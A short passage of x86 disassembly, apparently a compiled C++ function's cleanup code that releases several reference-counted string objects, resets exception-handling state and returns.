mov byte [esp + 0xd8], 8
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412370
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 3
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412398
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 2
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4123c0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 1
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4123e8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412410
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xd8], 0xffffffff
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41243e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4